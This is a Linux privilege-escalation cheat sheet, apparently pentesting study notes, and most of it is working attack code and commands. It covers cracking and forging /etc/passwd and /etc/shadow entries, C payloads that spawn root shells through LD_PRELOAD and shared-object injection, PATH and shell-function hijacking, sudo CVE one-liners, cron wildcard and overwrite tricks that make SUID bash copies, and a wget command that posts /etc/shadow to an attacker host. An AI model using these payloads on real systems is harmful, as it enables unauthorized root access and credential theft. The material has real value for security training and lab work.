Privilege Escalation Attacks
Kernel Exploits
Methodology / Checklist
Enumeration
uname -acat /proc/versioncat /etc/issuePasswords & File Permissions
Methodology
Escalation via Weak File Permissions
Cracking Shadow File
Unshadow
Copy all contents of
/etc/passwdand/etc/shadowto a file.Use unshadow to merge passwd and shadow file to create a unshadowed file.
unshadow passwd shadow > creds.txtCrack Linux passwords
Linux Password Hash Type:
$6$: SHA512Hashcat Mode: 1800
# hashcat -m 1800 [HASH_FILE] [WORDLIST] -O
hashcat -m 1800 creds.txt rockyou.txt -OElevate using the cracked password
su rootCreating New User in Passwd File
Generate hash value for the password
openssl passwd -1 -salt [KEYWORD] [PASSWORD]Add the username and password to the /etc/passwd file
[USERNAME]:[PASSWORD]:0:0:root:/root:bin/bashSwitch to the new root user
su [USERNAME]Escalation via SSH Keys
Enumeration
find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/nullSSH Using the Private key
Copy the contents of the id_rsa or copy the id_rsa
chmod 600 id_rsassh -i id_rsa root@[IP]Sudo Privilege Escalation
Methodology
Sudo Shell Escaping
Enumeration
sudo -lLook for
env keep+=LD_PRELOADOutput

Escalation
Use GTFOBins for privilege escalation.
LD_PRELOAD
Look for env keep+=LD_PRELOAD
Exploit Code
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0); //Root Group
setuid(0); //Root User
system("/bin/bash"); //Run Bash Shell
}Compile Exploit Code
gcc -fPIC -shared -o [OUTPUT_FILE.so] [C_CODE_FILE] -nostartfilesRun Exploit
Note that to effectively exploit this you can only use/run the applications listed in the
sudo -lcommand.
# sudo LD_PRELOAD=[PAYLOAD] [BINARY]
sudo LD_PRELOAD=/tmp/shell-payload apache2Intended Functionality
Intended functionality PrivEsc is when you use a feature that is built in with the application that's installed on the target system to escalate your privileges.
Apache2
sudo apache2 -f /etc/shadowWget
sudo wget --post-file=/etc/shadow [ATTACKER_IP]:[PORT]nc -nvlp [PORT]CVEE-2019-14287 - Sudo Security Bypass
Enumeration
sudo -VThis exploits affects the older versions of Sudo program (versions < 1.8.28)
sudo -l
The line ALL=(ALL:!root) NOPASSWD: /bin/bash says you can run /bin/bash command as any users except root.
Escalation
sudo -u#-1 /bin/bash
CVE-2019-18634 - Sudo Buffer Overflow
Enumeration
sudo -VThis exploit affects older versions of Sudo (
version < 1.8.26)
Escalation
wget raw.githubusercontent.com/saleemrashid/sudo-cve-2019-18634/refs/heads/master/exploit.cgcc -o CVE-2019-18634 exploit.c./CVE-2019-18634SUID
Methodology
Basic SUID Privilege Escalation
Enumeration
find / -type f -perm -04000 -ls 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \\; 2>/dev/null
Escalation
Use GTFOBins for privilege escalation.
Escalation via Shared Object Injection
Enumeration
find / -type f -perm -04000 -ls 2>/dev/nullHunting Shared Object Injection using Strace
strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
Payload
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}gcc -shared -fPIC -o [OUTPUT_LOCATION] [C_CODE]Escalation
Once the malicious application is in place, run the binary file you foud with SUID.
Escalation via Binary Symlinks
Enumeration
Using Automated Tool
wget <https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh> -O les.sh
chmod +x les.sh
./les.sh
Manual Enumeration
Verify Nginx Version
dpk -l | grep nginxVerify RWX for the directory
ls -la /var/log/nginxEscalation
nano CVE-2016-1247.sh
./CVE-2016-1247.shRestart Nginx
Escalation via Environmental Variables
Enumeration
find / -type f -perm -04000 -ls 2>/dev/nullHunting Application Calls
strings /usr/local/bin/suid-envPrivilege Escalation - Exploit 1
Copy
/bin/shor/bin/bashshell and name it to the binary/file that is being called by the application. This can be found by usingstringscommand.
echo /bin/sh > /tmp/curlSet permissions
chmod 777 /tmp/curlAdd the directory to the PATH environment variable where the Malicious Binary is located
export PATH=/tmp:$PATHRun the Binary you found with SUID bit
Privilege Escalation - Exploit 2
Payload
Malicious Service (Binary) code
echo 'int main() { setgid(0); setuid(0); system("/bin/sh"); return 0; }' > /tmp/service.cCompile the Code
gcc /tmp/service.c -o /tmp/serviceAdd the directory to the PATH environment variable where the Malicious Binary is located
export PATH=/tmp:$PATHVerify Path
print $PATH
Run the Binary you found with SUID bit
Privilege Escalation - Exploit 3
If the binary you found during hunting using
stringsuses a Full path, We can utilizefunctionto create a function in the binary that’s being called.
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }This will create a function that when ran, copies bash to /tmp and run it as root since the application that is calling this has SUID bit enabled which can be ran as root.
Export the shell function to Service
export -f /usr/sbin/serviceRun the application that has the SUID bit
Privilege Escalation - Exploit 4
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '[SUID_BINARY]; set +x; /tmp/bash -p'Capabilities
Enumeration
Look for cap_setuid+ep (Permit Everything)
getcap -r / 2>/dev/null
Escalation
Run the application with the cap_setuid+ep capability. In this example, we used Python2.6
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Other Applications
Other applications that we can use for PrivEsc if Capabilities is enabled.
tar
openssl
perl
Resources
Scheduled Tasks
Methodology
Enumeration
Crontab
cat /etc/crontab
Systemd Timers
systemctl -list-timers --all
Escalation via Cron Paths
Cron Paths
Notice the cron PATH variable
Cron jobs checks the Paths sequentially, if you have permissions to those paths, you can modify an existing script on the scheduled task to run maliciously.

Payload
Copy bash to /tmp directory.
set SUID bit to bash.
Write the comand to overwrite.sh on the
/home/user/directory.
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.shSet Execute Permission to the malicious file.
chmod +x /home/user/overwrite.shWait for the scheduled task to run.
Verify if successful.
Escalate Privileges.
Escalation via Cron Wildcards
Enumeration
cat /etc/crontabEscalation
Make sure you are saving the script (runme.sh) where the target application is being ran
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.sh
chmod +x runme.shCreate file to act as a command line argument for the tar command, abusing the wildcard feature.
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=sh\\ runme.sh
Wait for the scheduled task to run.
Run
/tmp/bash
Escalation via Cron File Overwrites
Enumeration
cat /etc/crontabVerify File Permission
ls -l [FILE_PATH]Escalation
Overwrite the file
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.shMake sure that the file has execute permissions:
ls -l [FILE]/chmod +x [FILE]Wait for the scheduled task to run
Run bash
/tmp/bash -pPATH
Methodology
Enumeration
echo $PATHfind / -writable 2>/dev/null | cut -d "/" -f 2 | sort -u find / -writable 2>/dev/null | grep home | cut -d "/" -f 2,3 | sort -ufind / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -uAdding Location to PATH
Adds /tmp folder to $PATH variable
export PATH=/home/murdoch:$PATHPayload
echo "/bin/bash" > app
chmod +x app#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}gcc -shared -fPIC -o [OUTPUT_LOCATION] [C_CODE]echo 'int main() { setgid(0); setuid(0); system("/bin/sh"); return 0; }' > /tmp/app.cgcc /tmp/app.c -o /tmp/appchmod u+s appEscalation
Run the file
Last updated





